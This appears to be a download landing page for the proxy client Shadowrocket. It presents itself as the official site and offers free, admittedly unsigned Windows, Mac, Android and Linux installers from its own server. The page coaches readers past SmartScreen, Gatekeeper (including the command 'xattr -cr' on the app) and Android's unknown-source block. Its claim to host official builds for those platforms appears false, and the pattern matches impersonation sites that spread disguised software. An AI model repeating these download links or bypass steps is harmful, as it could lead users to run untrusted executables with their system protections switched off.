Shadowrocket Download: All Platforms & App Store

Download Shadowrocket for any platform

iPhone and iPad cost $2.99 once on the App Store; Mac, Windows, Android and Linux versions are free. Platform cards prioritize the device you are using, but you can select another platform manually.

iPhone / iPad

$2.99 once. Purchase and install from the App Store product page. Mac, Windows, Android and Linux versions are free. One purchase is shared across both mobile device types when they use the same Apple ID. Prices are shown in the local currency for each storefront; the checkout page displays the final amount.

System: iOS / iPadOS 13.0 or later; check the App Store page for the stated requirements.

On the product page, check the developer and App ID first, then review compatibility. If the store says the app is unavailable, check your account region. Do not assume an app with the same name in search results is the same product.

On the App StoreDownload Shadowrocket Store and account region ›

Mac

Free. Apple Silicon and Intel dmg installers are available. iPhone and iPad cost $2.99 once on the App Store; Windows, Android and Linux versions are also free. The two Mac installers are for different processors, so do not rely on your browser to identify the chip.

System: macOS 12 or later; choose the version for Apple Silicon or Intel.

Apple Silicon Intel

Not sure which to choose? Open About This Mac and check Chip / Processor. After downloading, open the dmg and move Shadowrocket to Applications. See Allow installation for first-launch system prompts.

Windows

Free. The 64-bit exe installer is available. iPhone and iPad cost $2.99 once on the App Store; Mac, Android and Linux versions are also free. Download the file to your computer, then open it from the browser's download list or saved files and follow the installer.

Architecture: Windows x64, 64-bit installer.

Download for Windows

Downloading a file and allowing the system to run it are separate steps. If SmartScreen appears, confirm the download source first, then follow the Windows installation instructions. There is no need to download the same file repeatedly.

Android

Free. This site provides an arm64 apk for most Android phones and tablets from recent years. iPhone and iPad cost $2.99 once on the App Store; Mac, Windows and Linux versions are also free. Check your device architecture before installation. The system installer will guide you after the file downloads.

Architecture: Android arm64.

Download for Android

If a download does not work inside WeChat, use its menu to open this page in your system browser, then download the file. During installation, enable Allow installation of unknown apps only for the browser or file manager you actually used. See Android installation instructions for the steps.

Linux

Free. Choose deb, rpm or AppImage for your distribution. iPhone and iPad cost $2.99 once on the App Store; Mac, Windows and Android versions are also free. These are different package formats for the same client; you do not need to install all of them.

Architecture: x86_64; the deb package uses the amd64 architecture label.

Download .deb Download .rpm Download AppImage

Use .deb on Debian / Ubuntu and .rpm on Fedora / openSUSE. Other distributions can use AppImage; first grant it permission to run. Handle any dependencies reported by the package manager according to your distribution. Changing a file extension does not convert a package.

The version shown on this page is populated from this site's installer manifest. Check the App Store for iPhone and iPad updates. If the download button does not detect your system, choose a platform from its card.

First-time installation and system prompts

Desktop and Android installers are not code-signed, so the system may block them on first launch. Confirm that the file came from this site's /dl/shadowrocket/ path, then follow the prompt shown on your device.

Installation prompts, steps to allow installation, and safety checks for each system
Platform and prompt	Steps	Check first
Windows SmartScreen Windows protected your PC	Select More info to view the file information, then select Run anyway and continue with the installer.	Confirm that this is the x64 exe downloaded from this site. If Run anyway is unavailable, check whether the device is managed by an organization and ask an administrator.
macOS Cannot verify developer	Try opening the app once, then go to System Settings → Privacy & Security. Find the record of this blocked app, select Open Anyway and confirm when prompted.	Move the app to Applications and confirm that the installer matches your Mac's chip. Only allow this app when prompted; do not disable system-wide protection.
macOS App is damaged	Confirm the app path, then run this command in Terminal: `xattr -cr /Applications/Shadowrocket.app` Open the app again when complete.	The command clears extended attributes for the specified app. Run it only if the app is at that path and its source is confirmed. Do not apply it to the entire disk.
Android Allow installation of unknown apps	Open Settings from the installation prompt and enable Allow installation of unknown apps for the browser used for this download. Return to the download list and open the apk.	If you opened the file using a file manager, grant permission to that file manager instead. You can turn off this permission afterward, according to your device management preferences.
Linux AppImage File cannot be executed	In the directory containing the file, run: `chmod +x ./filename.AppImage` Then launch the file from your file manager or terminal.	Replace filename.AppImage with the actual downloaded filename. This only grants permission to execute; your distribution's runtime dependencies must still be met.
Linux deb / rpm Install with a package manager	On Debian / Ubuntu, run this in the download directory: `sudo apt install ./filename.deb` Open rpm files with your distribution's software installer or corresponding package manager.	Replace filename.deb with the actual filename and keep the relative path at the beginning. Review the package manager's messages, check dependencies and pending actions, then continue.

System prompts can vary by OS version. Check the source, app path and one-time permission before proceeding; do not click unrelated buttons automatically. If the file has not finished downloading, or the browser saved only a web page, return to the platform card to get the correct file extension before troubleshooting installation.

Devices managed by a school or employer may restrict software installation, administrator approval or network extensions. Repeatedly clicking the installer will not resolve these restrictions; follow the device management requirements. Allowing the app to launch does not import a subscription or replace checks of your connection configuration.

App Store and account regions for iPhone / iPad

This section applies only to the App Store on iPhone and iPad. For Mac, Windows, Android and Linux, use the installers from this site above; the store search steps here do not apply.

Check which storefront you are using

The mainland China App Store does not list this app. The country or region of your Apple ID determines which storefront you see. Changing your device language, time zone or network location will not change it. The account signed in to the device may differ from the one used for Media & Purchases, so check the latter.

Open Settings and tap the Apple ID account at the top.
Select Media & Purchases, then select View Account.
Complete authentication and check Country/Region.
Return to the App Store, confirm the expected account is shown, then open the product page.

If the product page still says the app is unavailable in your region, keep the message and check the account region and system compatibility. Do not rely only on search results to determine whether the app is available.

Review store requirements before changing regions

The official path is Settings → Apple ID → Media & Purchases → View Account → Country/Region. Follow the instructions on the page; menu names may vary slightly between system versions.

The store may require you to resolve an account balance, active subscriptions, Family Sharing or payment details first. Follow the requirements shown on your account page. A region change is not guaranteed to succeed for every account, and you should not enter inaccurate information to complete a step.

If you have already purchased the app, first check the original purchasing account and purchase history. Changing regions may affect content availability, so understand the impact on existing items beforehand. For purchases and restores, refer to the requirements shown on the App Store page.

Verify the official Shadowrocket app

On iPhone and iPad, check three details in the store. On computers and Android, verify that the installer came from this site. A similar name alone does not confirm that it is the same product.

Three App Store checks

Developer name
Shadow Launch Technology Limited. Check the full name on the product page, not only the search result title.
Official icon
White background with a blue-purple outlined rocket. Use the icon as one part of verification and check the developer and App ID as well.
App ID
932747118. All App Store buttons on this page point to this product page; the App ID in the link should match.

The official App Store version for iPhone and iPad costs $2.99 once; Mac, Windows, Android and Linux versions are free. A same-name App Store listing marked free is an impersonation and is not the product described on this page. A cloud download icon on an account that has purchased the app indicates that it can be downloaded again; check the purchase history to tell the difference.

Check download sources on computers and Android

Get Mac, Windows, Android and Linux installers from the platform cards on this site. Their file addresses are under this site's /dl/shadowrocket/ path. The system-aware button selects a file for your current device; Mac also offers versions for both processor types.

Before downloading, check that the browser address bar still shows this site. After downloading, confirm that the file type matches the platform card. Do not treat a similarly named file from an unknown or modified source as an installer from this site, and do not rely on the product name in a filename to verify its source.

If you reached this page through a chat message or search result, return to the all-platform downloads section to select an installer. Handle system security prompts by following the installation instructions. Verifying the source and allowing installation are separate steps; stop and check if either is incomplete.

Changing devices, reinstalling and restoring purchases

Restore the client first, then restore your own configuration. Purchase history, app files and subscription details are different things and cannot replace one another.

iPhone / iPad: redownload with the original purchasing account

Open the App Store on your new device, go to the account page in the upper-right corner and find Shadowrocket under Purchased. Some system versions first show an Apps or similar entry before displaying purchase history. Make sure you are using the original purchasing Apple ID, then tap to download the app again. If the search result shows a price rather than a download option, check the account before completing another purchase.

Confirm that the App Store is signed in with the Apple ID used for the original purchase; checking only the account name at the top of system settings is not enough.
Search for Shadowrocket in the purchased list and, if necessary, check filters such as Not on this device.
Verify the developer and App ID, then redownload and wait for installation to finish.
Open the client, import your saved subscription or server details, then check the configuration and connection permissions.

One purchase is shared between iPhone and iPad using the same Apple ID; there is no need to pay separately for both devices. iPhone and iPad cost $2.99 once; Mac, Windows, Android and Linux versions are free. If the purchase is missing, check the account used at purchase, the store region and whether the purchase was completed. Reinstalling will not restore a purchase that does not belong to the current account.

Computers and Android: download the appropriate installer again

After changing your computer or Android device, return to this page, choose the new device's architecture, and download the appropriate installer. If you switch from an Intel Mac to an Apple Silicon Mac, select the Apple Silicon version rather than reusing the old installer. After changing Linux distributions, check the package format again.

Installing the client does not restore your original configuration. Reimport subscription addresses, server parameters and rules you edited yourself from an existing backup or your original details. Save any configuration you need before reinstalling, and store information containing credentials securely. Do not post a full subscription link in a public Q&A. See the Getting Started guide for import steps.

Purchase price and what it covers

Keep the client cost separate from any existing connection service. A one-time purchase does not automatically include a working connection.

Two price tiers, depending on platform

On the US App Store, iPhone and iPad cost $2.99 as a one-time purchase, with no monthly client fee. Other storefronts show local currency; the checkout page gives the final amount. Mac, Windows, Android and Linux versions are free. Download the appropriate installer from this site.

A one-time purchase grants access to the app. The same Apple ID can redownload it on compatible iPhone and iPad devices using the purchase history; check the store page for device compatibility. Computers and Android do not require a mobile purchase to get their installers.

A one-time client purchase is not a connection service plan

A one-time client purchase is not a connection service plan. This is the official Shadowrocket site and manual; it does not provide, sell or recommend nodes or subscriptions. After installing on any platform, import your existing subscription or server details.

Get subscription details from your own service provider. The client imports them and handles connections according to your configuration. Opening the app, updating a subscription and connecting to a server are separate checks. If one step fails, troubleshoot that step; buying the client again will not resolve a connection problem.

Next steps after installation

First confirm that you have the required subscription or server details, then import them using the Getting Started guide. To process connections by rule, check the Config and Global Routing selections. Grant the required permissions when prompted by the system. An empty list before server details have been added does not mean installation failed.

Update the iPhone and iPad app through the App Store. For Mac, Windows, Android and Linux, return to this page to get the current installer. Keep a copy of configurations you have edited before updating. Afterward, check that they are still present, then test the connection. This page does not show a fixed update date; installer versions are provided dynamically from the download manifest.

Download and installation FAQ

Check the platform, architecture and download source first, then identify whether the issue is with installation, the store or configuration.

Can I use Shadowrocket on a computer or Android phone?

Yes. Mac (Apple Silicon and Intel), Windows, Android and Linux versions are free. Get the appropriate installer from this site's all-platform downloads section. iPhone and iPad cost $2.99 once on the App Store. All platforms require users to import their existing subscription or server details.

Should I choose the Apple Silicon or Intel version for Mac?

Open About This Mac from the Apple menu and check Chip or Processor. Choose the Apple Silicon version if it shows an Apple chip, or the Intel version if it shows Intel. Do not decide based only on the computer's appearance or purchase year.

What should I do if Windows says Windows protected your PC?

First confirm that the installer came from this site's /dl/shadowrocket/ path. Once the source is confirmed, select More info in the SmartScreen prompt, then select Run anyway. If the device is managed by an organization or that option is unavailable, ask an administrator to check. Do not turn off system-wide protection.

What should I check if Shadowrocket does not appear in the App Store?

First check the country or region for the Apple ID used under Media & Purchases. The mainland China App Store does not list this app. Open the App Store product page from this site to check availability, and review system compatibility and account restrictions. Before changing regions, address any balance, subscription or payment requirements shown by the store. A region change is not guaranteed to succeed.

Do I have to pay again after changing devices or reinstalling?

On iPhone or iPad, use the original purchasing Apple ID to redownload from Account and Purchased in the App Store. The same Apple ID shares one purchase across both device types. iPhone and iPad cost $2.99 once; Mac, Windows, Android and Linux versions are free, and their installers can be downloaded again when changing devices. Restoring the client does not restore its configuration; import your own subscription or server details separately.

Can I install it on iPad, and what are the system requirements?

Yes. Get Shadowrocket for iPad or iPhone from the App Store product page. Check the App Store page for system requirements. One purchase is shared by devices using the same Apple ID. iPhone and iPad cost $2.99 once; Mac, Windows, Android and Linux versions are free. You will still need to import your existing connection configuration after installation.

After installation, continue with the Getting Started guide. See the App Store guide for details about accounts and purchases.